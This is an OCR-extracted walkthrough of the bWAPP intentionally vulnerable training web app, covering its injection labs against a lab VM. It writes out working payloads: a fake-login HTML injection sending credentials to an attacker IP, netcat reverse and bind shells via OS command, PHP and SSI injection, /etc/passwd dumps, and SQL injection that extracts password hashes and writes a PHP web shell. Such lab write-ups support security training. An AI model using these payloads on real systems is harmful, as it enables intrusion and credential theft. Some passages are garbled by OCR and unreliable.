bWAPP - Sanjiv Kawa

April 2, 2015 10:37 AM

/ Al - Injection /

HTML Injection - Reflected (GET)
HTML Injection - Reflected (POST)
HTML Injection - Reflected (Current URL)
HTML Injection - Stored (Blog)
iFrame Injection

LDAP Injection (Search)

Mail Header Injection (SMTP)

0OS Command Injection

0OS Command Injection - Blind

PHP Code Injection

Server-Side Includes (SSI) Injection
SQL Injection (GET/Search)

SQL Injection (GET/Select)

SQL Injection (POST/Search)

SQL Injection (POST/Select)

SQL Injection (AJAX/JISON/jQuery)
SQL Injection (CAPTCHA)

SQL Injection (Login Form/Hero)
SQL Injection (Login Form/User)
SQL Injection (SQLite)

SQL Injection (Drupal)

SQL Injection - Stored (Blog)

SQL Injection - Stored (SQLite)

SQL Injection - Stored (User-Agent)
SQL Injection - Stored (XML)

SQL Injection - Blind - Boolean-Based
SQL Injection - Blind - Time-Based
SQL Injection - Blind (SQLite)

SQL Injection - Blind (Web Services/SOAP)
XML/XPath Injection (Login Form)
XML/XPath Injection (Search)

/ A2 - Broken Auth. & Session Mgmt. /
Broken Authentication - CAPTCHA Bypassing
Broken Authentication - Forgotten Function
Broken Authentication - Insecure Login Forms
Broken Authentication - Logout Management
Broken Authentication - Password Attacks
Broken Authentication - Weak Passwords
Session Management - Administrative Portals
Session Management - Cookies (HTTPOnly)
Session Management - Cookies (Secure)
Session Management - Session ID in URL
Session Management - Strong Sessions

/ A3 - Cross-Site Scripting (XSS) /

Cross-Site Scripting - Reflected (GET)
Cross-Site Scripting - Reflected (POST)
Cross-Site Scripting - Reflected (JSON)
Cross-Site Scripting - Reflected (AJAX/JSON)
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Cross-Site Scripting - Reflected (AJAX/XML)
Cross-Site Scripting - Reflected (Back Button)
Cross-Site Scripting - Reflected (Custom Header)
Cross-Site Scripting - Reflected (Eval)
Cross-Site Scripting - Reflected (HREF)
Cross-Site Scripting - Reflected (Login Form)
Cross-Site Scripting - Reflected (phpMyAdmin)
Cross-Site Scripting - Reflected (PHP_SELF)
Cross-Site Scripting - Reflected (Referer)
Cross-Site Scripting - Reflected (User-Agent)
Cross-Site Scripting - Stored (Blog)

Cross-Site Scripting - Stored (Change Secret)
Cross-Site Scripting - Stored (Cookies)
Cross-Site Scripting - Stored (SQLiteManager)
Cross-Site Scripting - Stored (User-Agent)

/ A4 - Insecure Direct Object References /
Insecure DOR (Change Secret)

Insecure DOR (Reset Secret)

Insecure DOR (Order Tickets)

/ A5 - Security Misconfiguration /
Arbitrary File Access (Samba)
Cross-Domain Policy File (Flash)
Cross-Origin Resource Sharing (AJAX)
Cross-Site Tracing (XST)
Denial-of-Service (Large Chunk Size)
Denial-of-Service (Slow HTTP DoS)
Denial-of-Service (SSL-Exhaustion)
Denial-of-Service (XML Bomb)
Insecure FTP Configuration

Insecure SNMP Configuration
Insecure WebDAYV Configuration
Local Privilege Escalation (sendpage)
Local Privilege Escalation (udev)
Man-in-the-Middle Attack (HTTP)
Man-in-the-Middle Attack (SMTP)
Old/Backup & Unreferenced Files
Robots File

/ A6 - Sensitive Data Exposure /
Base64 Encoding (Secret)
BEAST/CRIME/BREACH Attacks

Clear Text HTTP (Credentials)
Heartbleed Vulnerability

Host Header Attack (Reset Poisoning)
HTML5 Web Storage (Secret)
POODLE Vulnerability

SSL 2.0 Deprecated Protocol

Text Files (Accounts)

/ A7 - Missing Functional Level Access Control /
Directory Traversal - Directories

Directory Traversal - Files

Host Header Attack (Cache Poisoning)

Host Header Attack (Reset Poisoning)

Local File Inclusion (SQLiteManager)
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Remote & Local File Inclusion (RFI/LFI)
Restrict Device Access

Restrict Folder Access

Server Side Request Forgery (SSRF)
XML External Entity Attacks (XXE)

/ A8 - Cross-Site Request Forgery (CSRF) /
Cross-Site Request Forgery (Change Password)
Cross-Site Request Forgery (Change Secret)
Cross-Site Request Forgery (Transfer Amount)

/ A9 - Using Known Vulnerable Components /
Buffer Overflow (Local)

Buffer Overflow (Remote)

Drupal SQL Injection (Drupageddon)
Heartbleed Vulnerability

PHP CGI Remote Code Execution
PHP Eval Function

phpMyAdmin BBCode Tag XSS
Shellshock Vulnerability (CGl)
SQLiteManager Local File Inclusion
SQLiteManager PHP Code Injection
SQLiteManager XSS

/ A10 - Unvalidated Redirects & Forwards /
Unvalidated Redirects & Forwards (1)
Unvalidated Redirects & Forwards (2)

/ Other bugs... /

ClickJacking (Movie Tickets)
Client-Side Validation (Password)
HTTP Parameter Pollution

HTTP Response Splitting

HTTP Verb Tampering

Information Disclosure - Favicon
Information Disclosure - Headers
Information Disclosure - PHP version
Information Disclosure - Robots File
Insecure iFrame (Login Form)
Unrestricted File Upload

Extras
A.l.M. - No-authentication Mode
Client Access Policy File
Cross-Domain Policy File

Evil 666 Fuzzing Page

Manual Intervention Required!
Unprotected Admin Portal

We Steal Secrets... (html)

We Steal Secrets... (plain)

WSDL File (Web Services/SOAP)
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Al: Injection

March 31, 2015 9:03 AM

Areas with an asterix next to them have not been listed in this walkthough.

HTML Injection - Reflected (GET)
HTML Injection - Reflected (POST)
HTML Injection - Reflected (Current URL)
HTML Injection - Stored (Blog)
iFrame Injection

0OS Command Injection

OS Command Injection - Blind

PHP Code Injection

Server-Side Includes (SSI) Injection
SQL Injection (GET/Search)

SQL Injection (GET/Select)

SQL Injection (POST/Search)

SQL Injection (POST/Select)

SQL Injection (Login Form/Hero)
SQL Injection (SQLite)

SQL Injection (Drupal)

SQL Injection - Stored (Blog)

SQL Injection - Stored (SQlLite)

SQL Injection - Stored (User-Agent)
SQL Injection - Blind - Boolean-Based
SQL Injection - Blind - Time-Based
XML/XPath Injection (Login Form)

*LDAP Injection (Search)

*Mail Header Injection (SMTP)

*SQL Injection (AJAX/JSON/jQuery)

*SQL Injection (CAPTCHA)

*SQL Injection (Login Form/User)

*SQL Injection - Stored (XML)

*SQL Injection - Blind (SQLite)

*SQL Injection - Blind (Web Services/SOAP)
*XML/XPath Injection (Search)
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HTML Injection - Reflected (GET)

March 31, 2015 9:03 AM

<h2>HTML Injection - Reflected (GET)</h2>

STOWAPP HTWLinection Vosils Frefo

File Edit View History Bookmarks Tools H

an extremely buaay web app !

Bugs Change Password Create User Set Security Level Reset Credits Blog

/ HTML Injection - RePected (GET) /

Enter your first and last name

| Go |

/ Click. Mel /

// blah //

http://192.168.254.131/bWAPP/htmli_get.php?firstname=<h1><a href="http://www.google.com">
Click Mel</a></h1>&lasthame=<h2>blah</h2>&form=submit
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http://192.168.254.131/bWAPP/htmli_get.php?firstname=<h1><a

HTML Injection - Reflected (POST)

March 31, 2015 9:08 AM

File Edit View Hisf

192,168,254 131/

an ex+remely buz_:,gy web opp |

Bugs Change Password Create User Set Security Level Reset Credits

/ HTML Injection - Relected (POsST) /

Enter your first and last name:

First name:

a

Last name:
a

=

[E Burp Suite Fre= Edition v16

Burp Intruder Repeater Window Help

[Target T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

J T HTTP history I WebSockets history T Options ]

Lf] Request to hitp:/M92.168.254.131.80

L Forward [ l Drop | | Interceptizon | | Action |

J Raw I Params I Headers T Hex ]

POST /bWAPP/htwli post.php HTTR/1.1

Host: 19Z2.168.254.131

User-Agent: Mozilla/5.0 (Windows NT €.1; WOWE4; rv:36.0) Gecko/Z0Ll001l01l Firefox/3€.0
Accept: text/html,application/xhtml+xml, application/<ml;q=0.5,*/*;¢q=0.8
Aoecept-Languages: en-U3, en;qq=0.5

LAocept-Encoding: gzip, deflate

Beferer: http://192.165.254.131/bVAPP/htli post.php

Cookie: PHPSESSID=3377188154535be2418a0sebB5de54cl7; security lewvel=0D
Connection: keep-aliwve

Content-Type: application/x-www—form-urlencodesd

Content-Length: 34

firstname=a&lastname=as&form=submit
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[E. Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[Target T T Spider I Scanner I Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Options TAI&rts ]

_[ T HTTP history TWebSuckets history T Options ]

Li] Request to hitp:/M52.168.254.131:80
| Forward | l Drop | | interceptison | Action |
J Raw I Params T Headers T Hex

POST /bWAPP/htmli_post.php HTTP/L.1

Host: 192.168.254.131

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWE4; rv:36.0) Gecko/2010010L Firefox/3E.0
LAocept: text/html, application/xhtml+xml, application/xml;q=0.%, */*:q=0.8
Aocept-Languages: en-U3, en;g=0.5

Aocept-Encoding: gzip, deflate

Peferer: http://192.168.254.131/bWAFP/htnli post.php

Cookis: PHPSESSID=3377188154535bEl48a0sshE5des4cl7) security level=0
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 34

firstname=<hl><a href="http://wuv.google.com">Click Me'!</a=</hl>glastname=<hilzblah</hl>&form=submit

firstname=<h1><a href="http://www.google.com">Click Me!</a></h1>&lastname=<h2>
blah</h2>&form=submit

an ex+r‘emely buggy web app |

Bugs Change Password Create User Set Security Level Reset Credits

/ HTML Injection - Relected (POST) /

Enter your first and last name:

First name:

Last name:

(o

Welcome

/ Click. Mel /

// Blah //
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HTML Injection - Reflected (URL)

March 31, 2015 9:11 AM

File Edit View

an extremely buggy web app !

Eauﬂs L,hange, Password Create User Sset Sec.ur‘i-l-y Level Eeset

/ HTML Injection - ReHected (URL) /

AT VA hitp /192 168 254 131/HWAPP/htmN_ current url php

[E Burp Suite Free Edition v16

Burp Intruder Repeater Window Help

[Target I I Spider T scanner I Intruder I Repeater T Sequencer I Decoder I Comparer T Extender T Opticns IAIerts ]

J T HTTP history T WebSockets history T Options ]

| _é“] Request to hitp://192.168.254.131:80

l Forward _| [ Drop J ( Intercept i= on | Action J
J Raw T Params T Headers T Hex ]

GET thAPPfhtmli_current_url.php HTTP/1.1

Host: 19Z2.1e8.254.131

User-Agent: Mozilla/5.0 (Windows NT €.1; WOWE4: rv:36.0) Gecko/Z0l00LOL Firefox/3€.0
Aocept: text/html,application/xhtml4xml, application/xml;q=0.59, %/ *;¢q=0.8
Aocept-Language: en-U3,en;qg=0.5

Aocept-Encoding: gzip, deflate

Coolkie: PHPSESSID=337718B154535bE248aleehE5de540l7; security level=0

Connection: keep-alive
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Burp Intruder Repeater Window Help

[ Target I I Spider I Scanner I Intruder I Repeater I Sequencer T Decoder I Comparer I Extender T Options IAIerts ]

J T HTTP history T WebSockets history T Options ]

Lﬁ] Request to hitp:/192.168.254.131.80

L Forward | L Drop J ( Intercept is on E l Action
_[ Raw T Params T Headers T Hex ]

GET /bWAPP/htmli current url.php HTTP/1.1

Host: trust me im the google

Uzer—Agent: Mozilla/5.0 (Windows WNT €.1; WOWE4: rv:3£€.0) Gecko/IZ0l00L0Ll Firefox/3E6.0
LAecept: text/html,application/xhtml4xml, application/xml;q=0.9,%/ *;q=0.8
Aoecept-Languages: en-US, en;cq=0.5

Aocept—-Encoding: gzip, deflate

Cookie: PHPSESSID=3377188154535be248a0eehi85de54cl7; security level=0

Connection: keep-alive

cmarks Tools Help

PP/htmli_current_url.p

on eerr‘emely buﬂgy web app f

Buas L.,hanﬂe Password Create User Set Secur"'ri-y Level Reset Iz

/ HTML Injection - ReHected (URL) /

Your current URL: hitp-#trust me im the google/bWAPP/htmii_current_ur php
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HTML Injection - Stored (Blog)

March 31, 2015 9:16 AM

Applications Places

File Edit View Search Terminal Help

Bugs Choange Password Create User set security Level Reset Credits

Submit | Add: ¥ Show all Delete All your entries were deleted!

# Owner Date Entry

<div class="code"><iframe SRC="http://attackerIP/blah" height="0" width="0"></iframe></div>

Applications Places p",

root@kali: ~

File Edit View Search Terminal Help
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<div class="code">test</div>

<div style="position: absolute; left: Opx; top: Opx; width: 800px; height: 600px; z-index: 1000;
background-color:white;">

Session Expired, Please Login:<br>

<form name="login" action="http://attackerIP/lol.htm">

<table>

<tr><td>Username:</td><td><input type="text" name="uname"/></td></tr>
<tr><td>Password:</td><td><input type="password" name="pw"/></td></tr>
</table>

<input type="submit" value="Login"/>

</form>

</div>

File Edit View Hist

an extremely Iouagy web app |

L."r'nahﬂe Password Create User Set Sec.ur'rl-y Level Reset

/ HTML Injection - Stored (Bloa) /

<div style="position: absolute; left: Opx; top: Opx; width: E800px; height:
600px; z-index: 1000; bkackground-color:white;">

Session Expired, Please Login:<br>

<form name="login" action="Attp://192.168.254.128/1lol.htm">

<table> T

<trx><tds>Username:</cdy<td><input type="text" name="unams"/></cd></tr>
<tr><€ﬁ>Password:<f§§><§§><inpat type="password" naﬁg;ﬁgg"f><7§2><ftr>

</rable>

<input type="submit" valus="Login"/>
</ form> R
</fdivr

Submit Add: ®  Showal: @  Delete: [
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File Edit View History Bookmarks Tools Help

+

192.168.254.131/bWAPP/htmli_stored.php

ah eerr"emely

Session Expired, Please Login

Username bob

Password SERBEBEEES

| Login |

Applications Places ‘r

root@kali: ~

File Edit View Search Terminal Tabs Help

' root@kali; ~ | root@kali; ~
(~#_NCeslwp=BU

o

L ] .168. o from IS =E
C=NM 10l .htm?uname=bob&pw=1iloveal icczIREFaEE
gL . . - =]

at o) Te
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iIFrame Injection

March 31, 2015 9:42 AM

File Edit View

an extremely buﬂ.ay web app f

Eauﬂs Gh::qnﬂe Password Create User Set Sec.ur'rl-y Level

/ IFrame Injec:.Jrion /

User—-agent: GoodBot
Disallow:

User—-agent: BadBot
Disallow: /

Uszer—-agent: *
Dizallow: ,/admin/
Dizallow: /fdocuments/
Dizallow: Simages/
Dizallow: /passwords/

http://192.168.254.131/bWAPP/iframei.php?ParamUrl=http://www.hello.com/&ParamWidth=500
&ParamHeight=500
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http://192.168.254.131/bWAPP/iframei.php?ParamUrl=http://www.hello.com/&ParamWidth=500&ParamHeight=500
http://192.168.254.131/bWAPP/iframei.php?ParamUrl=http://www.hello.com/&ParamWidth=500&ParamHeight=500

Tools Help

an extremely buagy web app !

Ghanae Password Create User Set Se-:urH—y Lev

/ Frame Injec:ﬁon /

*

m. |

hello v o

Jobs at hello

At hello, we're looking for creative minds who want
to help people discover and share their passions.
We're innovators and hackers. We're solvers and

doers. We don't have a ping pong table, but we know

how to rally. Plus we have funding and a great work

culture.

"People and technology have always been my
biggest passions. People are so fascinating

because they embody an infinite variety of

personalities and preferences. | love

connecting people with technology and

unlocking new possibilities. Because life is

beautiful and we can never celebrate it

enough.”
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OS Command Injection

March 31, 2015 10:47 AM

@ bWAPP - OS Com
=

File Edit View His

an e><+r‘emely buﬂﬂy web opp ’

Cl FPasswor: Create User Set Securt evel ese Credits
"hanﬂe d z i + L | K + “redit

/ 0S Command Inection /
DNS lookup: www.nsa.gov m

Server: 192.168.254 2 Address: 192.168.254. 2#53 Non-authoritative answer: www.nsa.gov canonical name =

ayay =y

vw.nsa.gov.edgekey.net. www.nsa.gov.edgekey.net canonical name = e6655 dscna akamaiedge. net. Name

File Edit View H

192.168.254.131/ fcommandi.p

C.hahﬂe Password Create User Set Sec;ur"i-l-y Level Reset Credits

/ 0S Command Infection /

DNS lookup: 4.128 4444 -e /bin/bash | Lookup

www.nsa.gov && nc -vn 192.168.254.128 4444 -e /bin/bash
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http://www.nsa.gov

> host lookup failed: Unknown server error : Connection timed ou

.128] from (UMKNOWN) [192.168.254.131] 43

Edit View History Bookmarks Tools Help

+

aoh eerr“erﬂe!y buﬂﬂ\/ web opp f

Bugs Change Password Create User Set Security Level

/ 0OS Command Inection /

DNS lookup: ; whoami | Lookup |

www-data

; whoami
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OS Command Injection (Blind)

March 31, 2015 11:07 AM

an ex+r‘emely buc_:]ﬂy web app f

Buﬂs Change Password Create User Set Sewr'rl'y Level

/ 0S Command Injection - Blind /

Enter your IP address: 192168254 128 |m

Did you captured our GOLDEN packet?

Follow TCP Stream

Stream Content

POST /bwaPP/commandi_blind.php HTTR/
ost: 168 .131

la/S.0 (Windows NT 6.1; WOW64; rv
application/xhtml+xml,applicatio

0.5

late

131/bwAPP/commandi_blind.php

SSID=11fe3445ad3314aecce2479394e64749

1

.0) Gecko/20100101 Firefox/36.0
xml;q=0.9,%*/*;q=0.8

keep-alive
: application/x-www-form-urlencoded
Content-Length: 34

2t=192. 168. 254, 128&form=submi tHTTP/1.1 200 OK

Tue, 31 Mar 2015 17:12:45 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/S,2.4-2ubuntuS with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.4-2ubuntuS

Expires: Thu, 19 Nov 1881 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Keep-Aliv timeout=15, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html

1f53

<! DOCTYPE html>
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

21 2link ral-tetulachants tuna—ttavt trent heaf—thtrncs Lfante annnlasnie camisrecdfam lu—Architantoifaunhtantis o
Entire conversation (14011 bytes)
Find Save As Print ASCll EBCDIC Hex Dump C Arrays
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File Edit View History

an eerr“emely buﬂ.ﬂy web app f

C}—mae Password Create User Set Sec.t.ar*'rl-y Level

/ OS Command Infection - Blind /

Enter your IP address: 4.128 4444 -e jbinfbash | PING |

TR =

Did you captured our GOLDEN packet?

192.168.254.128 && nc -vn 192.168.254.128 4444 -e /bin/bash

error : Connection timed out
33114

-data) gi -data) groups

http://thehackpot.blogspot.ca/2014/05/blind-os-command-injection-attacks.html

bWAPP Page 18


http://thehackpot.blogspot.ca/2014/05/blind-os-command-injection-attacks.html

PHP Code Injection

March 31, 2015 11:29 AM

File Edit View History Bookmarks Tools

an ex+remely bUﬂaY web zle

Bugs Change Password Create User Set ¢

/ PHP Code Injection /

This is just a test page, reflecting back your message

fielo
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File Edit

e
View

1

History Bookmarks T

an extremely buggy web app !

/ PHP Code Injection /

This is just a test page, reflecting back your message...

/' PHP Version
52 4 2ubuntus /

Php

Configuration File

System Linux bee-box 2.6.24-16-generic #1 SMP Thu Apr 10 13:23:42 UTC 2008 i686
Build Date Feh 27 2008 20:27:58

Server APl lpache 2.0 Handler

Virtual Directory |dizabled

Support

Configuration File |etc/phpSspache?

(php.ini) Path

I oaded Vetedphp Sfapache2/php.ini

Scan this dir for
additional .ini files

VeteiphpSfapache2fconf.d

additional .ini files

Vetc/php5iapache2/conf.digd. ini, fetciphp5/apache 2iconf.didap. ini, /etciphpSapache2/conf.d

|parsed Vmy=ql.ini, fetc/phpS/apache 2'cont.d/mysqgli.ini, /etciphpSfapache2/conf.dipdo.ini, fetc/phps
Vapache 2/conf.dipdo_mysql.ini, fetc/phpSispache2/conf dipdo_sqlite.ini, /etc/phpSiapache2/conf.d
Veglite.ini

PHP API 20041225

PHP Extension 20060613

|Zend Extension 220060519

Debug Build Iele]

message=1; phpinfo()
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File Edit View

192.168.254.131/bWAPP/phpi.p

Bags

History Bookmarks Tools Help

+

........ B

ah eerr*emely buc_:]c_;]y web of

Change Password Create User Set

/ PHP Code Injection /

This is just a test page, reflecting back your message.__.

1bee-box
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File Edit View History Bookmarks Tools Help

192.168.254.131/bWAPP/phpi.php?message=""; system('nc -lvp 1234 -e /bin/bash’)

an eerr“emely buﬂﬂy web Zle

Bugs Change Password Create User Set ¢

/ PHP Code Inection /

This is just a test page, reflecting back your message

io
uid=33 | www -data | Q id=33 | www-data | Qroups =33 Ir www -data |
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Server Side Include (SSI) Injection

March 31, 2015 11:50 AM

an extremely buﬂgy web app !

Bugs Change Password Create User Set Security Level Reset Credits

/ Server-Side Includes (ssl) Injection /

What is your IP address? Lookup your IP address... (bee-box only)

First name:
<I-#exec cmd="id" >

Last name:
d="cat /etc/passwd" -->

View History Bookmarks Tools Help

site without https

Hello uid=33(www-data) gid=33(www-data) groups=33(www-data) E:X:O:O:root: root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/'man:/bin/sh lp:x:7:7:1p:/var/spool/lpd:bin/sh
mail:x:8:8:mail:/var/mail-/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33 -www-
data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:'bin/sh 1re:x:39:39:1red:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats
Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:
/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false hplip:x:104:7-HPLIP system user._.:/var/run/hplip:bin/false avahi-
autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false gdm:x:106:114:Gnome Display Manager:/var/lib/gdm:/bin/false pulse:x:107:116:PulseAudio
daemon...:/var/run/pulse:/bin/false messagebus:x:108:119::/var/run/dbus:/bin/false avahi:x:109:120:Avahi mDNS daemon...:/var/run/avahi-daemon:/bin/false
polkituser:x:110:122:PolicyKit,,,:/var/run/PolicyKit:/bin/false haldaemon:x:111:123:Hardware abstraction layer,,,:/var/run’hald:/bin/false bee:x:1000:1000:bee,,,-/home/bee: bin'bash
mysql:x:112:124:MySQL Server...:/var/lib/mysql:/bin/false sshd:x:113:65534::/var/run/sshd:/usr/sbin/nologin dovecot:x:114:126:Dovecot mail server..,:/usr/lib/dovecot:/bin/false
smmta:x:115:127-Mail Transfer Agent,,,:/var/lib/sendmail-/bin/false smmsp:x:116:128:-Mail Submission Program.,,,:/var/lib/sendmail:/'bin/false neo:x:1001:1001::’home neo:/bin/sh
alice:x:1002:1002::/home/alice:/bin/sh thor:x:1003:1003::’home 'thor:/bin/sh wolverine:x:1004:1004::/home/wolverine:/bin/sh johnny:x:1005:1005::/home/johnny:/bin/sh
selene:x:1006:1006::/home/selene:/bin/sh postfix:x:117:129::/var/spool/postfix:/bin/false proftpd:x:118:65534::/var/run/proftpd:/bin/false ftp:x:119:65534::/home/ftp:/bin/false
snmp:x:120:65534::/var/lib/snmp:/bin/false ntp:x:121:131::/home/ntp:/bin/false ,

Your IP address is:

192.168.254.1

<l--#texec cmd="id" -->
<l--#exec cmd="cat /etc/passwd" -->
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an e><+r“emely buﬂﬂ\/ web app f

Eauﬂt; Change Password Create User Set Sec.ur"H-y Level

/ Server-Side Includes (ss)) I

What is your IP address? Lookup your IP address___ (bee-box only)
First name
1ectto me on port 8888

Last name
c -lvp 8888 -e /binfbash

| Lookup |

connect to me on port 8888!
<!--#fexec cmd="nc -lvp 8888 -e /bin/bash" -->

# nc -nv 192
~131] 8888
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SQLi (GET/Search)

March 31, 2015 11:53 AM

3 bWAPP - 5QL Injectior

File Edit View

ah extremely buggy web opp !

Bugs Change Password Create User Set Security Level Reset Credi

/ SQL Injection (GET/Search) /
Search for a movie: test Search

Title Release Character Genre IMDb

No movies were found!
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Buge

ah extremely buggy web app !

Change Password Create User Set Sec;uri-l-y Level

/ SQL Injection (GET/Search) /
Search for a movie: "'  Search
Title Release Character Genre IMDb
G.l. Joe: Retaliation 2013 Cobra Commander action Link
Iron Man 2008 Tony Stark action Link
Man of Steel 2013 Clark Kent action Link
Terminator Salvation 2009 John Connor sci-fi Link
The Amazing Spider-Man 2012 Peter Parker action Link
The Cabin in the Woods 201 Some zombies harror Link
The Dark Knight Rises 2012 Bruce Wayne action Link
The Fast and the Furious 2001 Brian O'Connor action Link
The Incredible Hulk 2008 Bruce Banner action Link
World War Z 2013 Gerry Lane horror Link
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192.168.254.131/bWAPP/sqli_1.php7ti Baction=search

an extremely buggy web opp |

Buﬂt; C}hanﬂe Password Create User Set Sec.ur'rl-y Level

/ SQL Inection (GET/Search) /
Search for a movie: '  Search

Title Release Character Genre IMDb

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near '%" at line 1

sqli_1.php?title='&action=search
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=iron'+or+1%3D1 %23 &action=search

Bugs Change Password

Create User

ah extremely bu@gy web app |

Set Sewr"rl-y Level

Search for a movie: iron' or 1=1#

Title

Gl Joe: Retaliation

Iron Man

Man of Steel

Terminator Salvation

The Amazing Spider-Man

The Cabin in the Woods

The Dark Knight Rises

The Fast and the Furious

The Incredible Hulk

World War Z

Release

2013

2008

2013

2009

2012

201

2012

2001

2008

2013

Search

Character
Cobra Commander
Tony Stark
Clark Kent
John Connor
Peter Parker
Some zombies
Bruce Wayne
Brian C'Connar
Bruce Banner

Gerry Lane

/ SQL Injection (GET/Search) /

Genre

action

action

action

sci-fi

action

horror

action

action

action

horror

IMDb

Link

Link

Link

Link

Link

Link

Link

Link

Link

Link

sqli_1.php?title=iron' or 1=1#&action=search
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ory3

li_1.phptitle=iron'+or+1%302+ %23 &action=search

an ex+r'emely Iau«f)gy web app |

Bugs Change Password Create User Set Security Level Reset Credi

/ SQL Inection (GET/Search) /

Search for a movie: iron' or 1=2# | Search |
Title Release Character Genre IMDb

Mo mavies were found!

sqli_1.php?title=validEntry' or 1=2#&action=search

prtitle=iron'+union+select+1%2C2 %2(C3 %2 CA %2 C5%2C6%2C7+ %23 8taction=search

an extremely buagy web app |

Bugs Change Password Create User Set Security Level Reset Credi

/ SQL Injec.ﬂon (GET/Search) /

Search for a movie | Search |

Title Release Character Genre IMDb

2 3 5 - Link

sqli_1.php?title=iron' union select 1,2,3,4,5,6,7 #&action=search
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iron'+union+select+15%2Cu 0564 Dversion %6204 32 C5%2 C6 %2 C7+ %23 Blaction=search

ah extremely buﬂﬂy web app !

Bugs Change Password Create User Set Security Level Reset Credits

/ SQL Injecﬁon (GET/Search) /

Search for a movie Search
Title Release Character Genre IMDb
root@localhost 5096-0ubuntu3 5 B Link

sqli_1.php?title=iron' union select 1,user(), @ @version,4,5,6,7 #&action=search

File Edit View Hig

ah extremely buﬂf]y web app !

Bugs Change Password Create User Set Security Level Reset Credits =14

/ SQL Inection (GET/Search) /

Search for a movie | Search |
Title Release Character Genre IMDb
) AEaEDAARE [ p——— R c bwapp- :
AlM 6885858486f31043e5839c735d99457f045affd0 5 N Link
aim@mailinator.com
O E A AR (A E 8T AE A0 E T E . bwapp- .
bee 6885858486f31043e5839c735d99457f045affd0 5 . Link
bee@mailinator.com

iron' union select 1,login,password,email,5,6,7 from users #

sqli_1.php?title=iron' union select 1,"<?php echo shell_exec($S_GET['cmd'])?>",3,4,5,6,7 into OUTFILE
'/var/www/bWAPP/popped.php' #&action=search
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Eﬁ bee-box v1.6 Eﬁ Kali
.::," Applications Places System e

beebee-hox/

File Edit Wiew Terminal Tabs Help
GNU nano 2.0.7

<td width="200"><b>Title</b></td>

<td width="80"><b>Release</b></td>
<td width="140"><b=Character</b></td>
<td width="80"><b>Genre</b></td>

<td width="80"><b>IMDb</b></td>

</tr=
<7php
if(isset($ GET["title"]))
{
$title = $ GET["title"];
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sgli($title)
$recordset = mysgl query($sql, $link);
if(!%recordset)
{
|

// die("Error: " . mysql_error{)};

File: /var/www/bDWAPP/sqli 1.php

Select * from movies where title like 'iron'
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SQLi (GET/Select)

March 31, 2015 12:35 PM

on ex-l'r‘emely buaﬂy web opp |

Bugs Change Password Create User Set Security Level Eeset Credit

/ SQL Iniection (GET/Select) /

Select a movie: G.l. Joe: Retaliation -~ | Go
Title Release Character Genre IMDb
The Amazing Spider-Man 2012 Peter Parker action Link

5 bWAPP - SQL Injection -

File Edit ¥ H

ah extremely louﬂf]y web opp |

Bugs Change Password Create User Set Security Level Reset Credi

/ SQL Injection (GET/Select) /

Select a movie: Gl Joe: Retaliation -

d

Title Release Character Genre IMDb

Mo movies were found!

sqli_2.php?movie=1 and 1=2#&action=go

bWAPP Page 32



192,168,254, 131/bWAP

an e><+r'emely buagy web opp |

Bugs Change Password Create User Set Security Level Eeset Cred

/ SQL Injecﬁon (GET/select) /

Select a movie: G| Joe: Retaliation ~ | Go |
Title Release Character Genre IMDb

Error: The used SELECT statements have a different number of columns

sqli_2.php?movie=1 union select 1,2,3,4,5,6#&action=go

an e><+r‘emely buaﬂy web opp |

E:ugt; Chanﬂe Password Create User Set Sec;.ur'rl-y Level Reset

/ SQL Injection (GET/Select) /

Select a movie: G.I. Joe: Retaliation ~ | Go |
Title Release Character Genre IMDb
G.l. Joe: Retaliation 2013 Cobra Commander action Link

sqli_2.php?movie=1 union select 1,2,3,4,5,6,7#&action=go
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192.168.254,131/bW/

an e><+r‘emely buagy web app |

Bugs Change Password Create User Set Security Level Reset Cred

/ SQL Injection (GET/Select) /

Select a movie: G.I. Joe: Retaliation ~ | Go

d

Title Release Character Genre IMDb

2 3 ] - Link

sqli_2.php?movie=1337 union select 1,2,3,4,5,6,7#&action=go

action=gofaction=go&action=go

an ex+remely buﬂf]y web opp !

Buﬁs Chahae Password Create User Set Sec;ur‘i-l-y Level Reset Credits

/ SQL Injection (GET/select) /

Select a movie: G.l. Joe: Retaliation ~ | Go
Title Release Character Genre IMDb
. . O A (A S T U AHAAETHAL bwapp- .
AlLM 3 £885858486f31043e5839c735d99457f045affd0 R Link
aim@mailinator.com

sqli_2.php?movie=1337 union select 1,login,3,email,password,6,7 from users#&action=go
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SQLi (POST/Search)

March 31, 2015 1:07 PM

192.168.254 131/bWAPP/sqli_6.php

ah extremely buﬂgy web opp |

Bugs Change Password Create User Set Security Level Reset Credi

/ SQL Injection (POST/Search) /
Search for a movie:  Search
Title Release Character Genre IMDb
G.I. Joe: Retaliation 2013 Cobra Commander action Link
Iron Man 2008 Tony Stark action Link
